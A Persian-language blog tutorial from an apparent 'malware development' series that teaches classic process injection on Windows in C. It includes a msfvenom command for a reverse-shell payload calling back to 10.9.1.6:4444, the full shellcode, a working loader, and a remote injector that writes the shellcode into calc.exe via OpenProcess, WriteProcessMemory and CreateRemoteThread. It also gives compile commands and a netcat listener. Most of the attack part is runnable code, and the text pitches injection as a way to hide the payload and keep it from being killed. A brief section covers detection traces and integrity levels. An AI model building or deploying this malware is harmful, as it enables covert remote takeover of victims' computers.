تزریق کد کلاسیک (Code Injection) در C
در قسمت دوم از مجموعه توسعه بدافزار قرار داریم و این قسمت نیز مثل تمام قسمت های دیگر این مجموعه ، فقط و فقط با اهداف آموزشی و آشنایی با حملات منتشر شده است . مسئولیت هرگونه خرابکاری و جرم بر عهده خودش شخص میباشد .
تزریق کد چیست ؟
تزریق کد (code injection) به سادگی یعنی وادار کردن یک پروسه دیگر به اجرای کد دلخواه ما . به عبارتی طی این فرایند ، یک پروسه (بد افزار) کد دلخواه خود را به پروسه ای دیگر تزریق کرده و موجب اجرای کد توسط پروسه هدف میشود .
این کار مزایای خاصی برای طراحان بدافزار دارد . برای مثال فرض کنید یک payload از طریق یک آسیب پذیری یا یک حمله مهندسی اجتماعی یا … به سیستم هدف منتقل شده و توسط سیستم هدف اجرا شده . اجرای این payload باعث شده است تا یک Reverse Shell در اختیار هکر قرار بگیرد . نکته ای که هست این است که کاربر هدف هر لحظه میتواند به راحتی پروسه مربوط به payload را ببندد (kill) و این باعث از دست رفتن ارتباط هکر به طور کلی میشود . هکر برای جلوگیری از این موضوع میتواند از تکنیک تزریق کد استفاده کند . به این صورت که کد مربوط به payload خود را به یک پروسه ماندگار تر مثل explorer.exe تزریق میکند . این باعث میشود اولا پروسه ای که در حال اجرای payload است ، از دید کاربر مخفی تر شود ، دوما امکان بسته شدن payload بسیار کمتر میشود ( قاعدتا کسی همینطوری پروسه explorer.exe را نمیبندد !! )
آماده سازی یک payload
برای تست و بررسی روی این تکنیک ، یک payload شل معکوس درست میکنیم . برای سادگی بیشتر از msfvenom (زیرمجموعه metasploit) در سیستم عامل کالی لینوکس استفاده میکنیم . برای اینکار دستور زیر را در کالی لینوکس خود اجرا میکنیم :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.1.6 LPORT=4444 -f c
دستور بالا یک payload شل معکوس به صورت آرایه تعریف شده به زبان C به ما تحویل میدهد که آدرس 10.9.1.6 به عنوان IP و ۴۴۴۴ به عنوان پورت مقصد آن مشخص شده . این آدرس IP و پورت جایی است که هکر شنودگر خود را اجرا کرده است .
اجرای payload ساخته شده
برای تست payload یک تکه کد به زبان ++C مینویسیم که payload مارا اجرا کند :
/*
cpp implementation malware example with msfvenom payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// our payload: reverse shell (msfvenom)
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Allocate a memory buffer for payload
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// make new buffer as executable
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
برای اجرای payload چند مرحله اصلی باید طی شود :
۱ – تعریف بایت های payload (آرایه my_payload در خط ۱۰)
۲ – رزرو مقداری از حافظه برای جایگذاری بایت های payload در آن (فراخوانی تابع VirtualAlloc در خط ۵۲)
۳ – نوشتن بایت های payload در حافظه رزرو شده (خط ۵۵)
۴ – ساخت یک Thread و پاس دادن حافظه رزرو شده در مرحله ۲ به عنوان شروع اجرای آن (خط ۶۲)
کد بالا را به نام evil.cpp ذخیره کرده ایم و compile میکنیم :
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
شنودگر خود را به وسیله netcat آماده میکنیم :
nc -lvp 4444
نهایتا evil.exe که نوشتیم را روی سیستم هدف اجرا میکنیم و میبینیم که دسترسی شل معکوس در اختیار سیستم هکر قرار میگیرد :
.\evil.exe
برای تحقیق و بررسی payload از برنامه Process Hacker استفاده میکنیم . Process Hacker یک نرم افزار متن باز است برای بررسی پروسه های در حال اجرا ، میزان مصرف منابع سخت افزاری توسط پروسه ها ، بررسی ارتباطات شبکه ایجاد شده توسط پروسه ها و خیلی قابلیت های بدرد بخور دیگر .
به تب network رجوع میکنیم و میبینیم که پروسه ما با سیستم هکر یعنی آدرس 10.9.1.6 و پورت ۴۴۴۴ ارتباط گرفته است :
تزریق payload به پروسه دیگر
در این مرحله میخواهیم payload که در بخش قبلی ساختیم و اجرا کردیم را به پروسه ای دیگر (مثلا calc.exe) تزریق کنیم تا توسط آن پروسه اجرا شود . فرض کنید payload ما در پروسه evil.exe است و پروسه calc.exe نیز در سیستم در حال اجرا است :
اولین کاری که میکنیم این است که یک حافظه که فضای آن حداقل به اندازه بایت های payload ما هست در پروسه مقصد (calc.exe) رزرو میکنیم :
سپس payload خود را در حافظه رزرو شده در پروسه مقصد کپی میکنیم :
سپس از سیستم عامل درخواست میکنیم تا payload ما که اکنون به سبب مراحل قبلی در حافظه پروسه مقصد است را اجرا کند :
حالا بیایید تا کدی بنویسیم که منطق بالا را پیاده سازی کند . یکی از مشهور ترین راه ها برای این مورد استفاده از توابع زیر است که این توابع در windows api برای اهداف عیب یابی وجود دارند :
یک کد بسیار ساده برای انجام اینکار :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// reverse shell payload (without encryption)
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
unsigned int my_payload_len = sizeof(my_payload);
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer
// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" data between processes
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
ابتدا نیاز داریم تا PID پروسه مقصد را بدانیم . میتوانیم کاری کنیم تا خود کد این را بدست بیاورد ولی برای سادگی کار خودمان دستی به عنوان پارامتر آن را به کد میدهیم . برای رزرو حافظه یا نوشتن در حافظه در پروسه مقصد ، نیاز داریم تا پروسه مقصد را به وسیله تابع OpenProcess از کتابخانه kernel32 باز کنیم و این تابع اگر موفقیت آمیز باشد ، یک handle به پروسه مقصد به ما برمیگرداند . در خط ۴۹ این کار را انجام داده ایم :
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
دقت کنید در پارامتر اول این فراخوانی مشخص کرده ایم تمام دسترسی ها به این پروسه (اعم از خواندن و نوشتن در حافظه پروسه) را میخواهیم و همچنین در پارامتر سوم PID پروسه مقصد را به آن پاس داده ایم .
بعد از اینکه پروسه مقصد را باز کردیم ، نیاز داریم تا یک محدوده به اندازه بایت های payload در حافظه آن رزرو کنیم . اینکار توسط فراخوانی تابع VirtualAllocEx در خط ۵۲ انجام شده است :
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
در مرحله بعد payload خود را در حافظه رزرو شده در پروسه مقصد مینویسیم . اینکار توسط فراخوانی تابع WriteProcessMemory در خط ۵۵ انجام شده است :
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
نهایتا در مرحله آخر یک Thread در پروسه مقصد ایجاد میکنیم و حافظه رزرو شده در پروسه مقصد که در مراحل قبلی ساختیم را به عنوان شروع اجرای آن مشخص میکنیم . اینکار توسط فراخوانی تابع CreateRemoteThread در خط ۵۸ انجام شده است :
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
کد بالا را compile میکنیم :
x86_64-w64-mingw32-gcc evil_inj.cpp -o evil2.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
شنودگر خود را آماده میکنیم :
nc -lvp 4444
سپس در ابتدا برنامه calc.exe را به عنوان پروسه مقصد در سیستم هدف اجرا میکنیم و PID آن را در برنامه Process Hacker یا Task Manager ویندوز مشاهده میکنیم :
میبینیم که PID آن ۱۸۴۴ است .
حالا کد تزریق کننده را در سیستم هدف اجرا میکنیم :
.\evil2.exe 1844
همینطور که مشخص شده ، بعد از اجرا به درستی دسترسی به هکر داده شده و همچنین در Task Manager مشاهده میکنیم که پروسه calc.exe یک cmd.exe را اجرا کرده است که این همان شل معکوس است .
بررسی حافظه payload اجرا شده
اگر به بخش Network در Process Hacker مراجعه کنیم میبینیم که پروسه calc.exe یک ارتباط TCP با مقصد 10.9.1.6:4444 گرفته است که این ارتباط برای یک calc.exe عادی اصلا قابل توجیه نیست . این نشان دهنده این است که هم اکنون payload ما توسط calc.exe در حال اجراست !
اگر به تب Memory در پروسه calc.exe مراجعه کنیم متوجه موضوع جالبی میشویم :
در این بخش تمامی buffer هایی که داخل حافظه calc.exe وجود دارد به همراه اطلاعات آن ها مثل Protection مشخص شده . در بخش Protection حرف R به معنای Readable ، حرف W به معنای Writable و حرف X به معنای Executable است . اگر این بخش را بر اساس Protection مرتب سازی کنیم و دنبال بخش های RX حافظه بگردیم میبینیم که DLL فایل هایی که داخل پروسه بارگذاری شده اند داخل حافظه هایی از این نوع (RX) هستند .
اگر دقت کنیم میبینیم که فایل ws2_32.dll که یک DLL برای سوکت نویسی و مدیریت سوکت ها است داخل پروسه calc.exe بارگذاری شده که این اصلا طبیعی نیست چون calc.exe در حالت عادی نیازی به برقراری ارتباط شبکه و سوکت نویسی نخواهد داشت :
مکانیزم امنیتی MIC
نکته ای که هست این است که به راحتی نمیتوان هر پروسه ای را توسط تابع OpenProcess با دسترسی های نوشتن حافظه که قبل تر دیدیم ، باز کرد و دسترسی آن را گرفت . در سیستم عامل ویندوز از نسخه vista به بعد، یک مکانیزم امنیتی به نام Mandatory Integrity Control (MIC) وجود دارد که محدودیت هایی را برای باز کردن یک پروسه ایجاد میکند . جریان به این صورت است که هر پروسه داخل ویندوز یک سطح یکپارچگی (Integrity Level) دارد که یکی از چهار مورد زیر میتواند باشد :
1 – Low Level : پروسه هایی که دسترسی آن ها به اکثر پروسه های دیگر محدود شده است
2 – Medium Level : سطح یکپارچگی پیشفرض برای پروسه هایی که توسط کاربران عادی سیستم اجرا شده اند
3 – High Level : برای پروسه هایی که با دسترسی administrator اجرا شده اند
4 – System Level : بالاترین سطح یکپارچکی است و معمولا مختص سرویس های سیستمی است که در حال اجرا هستند .
هر پروسه حین اجرا سطح یکپارچکی خود را از کاربری که آن را اجرا کرده میگیرد .
برای مثال اگر پروسه بدافزار ما سطح یکپارچگی low را دارد نمیتواند تزریق را به پروسه ای که سطح یکپارچگی high دارد انجام دهد زیرا اجازه ی دسترسی گرفتن به آن پروسه برای نوشتن حافظه را نمیتواند بگیرد .
منابع
این آموزش متعلق به بخش توسعه بدافزار است
برای مشاهده تمام آموزش های توسعه بدافزار وبسایت مسترپایتون به بخش توسعه بدافزار مراجعه کنید
علاقه مند به دنیای کامپیوتر ها ...